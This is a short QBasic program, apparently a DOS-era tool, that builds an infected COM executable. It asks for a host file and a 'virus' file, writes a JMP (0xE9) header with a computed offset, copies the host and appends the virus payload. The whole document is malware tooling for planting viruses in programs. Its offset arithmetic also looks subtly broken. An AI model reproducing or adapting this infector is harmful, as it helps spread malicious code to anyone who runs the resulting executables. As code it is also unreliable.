DIM dd AS STRING * 1
DECLARE FUNCTION Dec! (hx$)
CLS
PRINT "All files must be COM files!"
INPUT "In Filename"; f$
INPUT "Out Filename"; of$
INPUT "Virus Filename"; vf$
OPEN f$ FOR BINARY AS #1
OPEN of$ FOR BINARY AS #2
OPEN vf$ FOR BINARY AS #3
ltr = LOF(3)
lr = LOF(1)
fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1
oo$ = ""
mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1))))
FOR q = LEN(mm$) + 1 TO 1 STEP -2
IF VAL(MID$(mm$, q, 2)) = 0 THEN GOTO 2
oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2)))
2 NEXT q
Hdr$ = "é" + oo$
FOR e = 1 TO LEN(Hdr$)
ff$ = MID$(Hdr$, e, 1)
PUT #2, , ff$
NEXT e
FOR mm = 1 TO LOF(1)
GET #1, mm, dd
PUT #2, , dd
dd = ""
NEXT mm
dd = ""
FOR m2 = 1 TO LOF(3)
GET #3, m2, dd
PUT #2, , dd
dd = ""
NEXT m2
CLOSE 1, 2, 3
OPEN of$ FOR INPUT AS #1
ms = LOF(1)
CLOSE 1
IF ms - ltr - LEN(Hdr$) = lr THEN PRINT "Success "; of$; " created from "; f$; " & "; vf$; "." ELSE PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " != "; lr: PRINT ms; " - "; ltr; " - "; LEN(Hdr$); " = "; ms - ltr

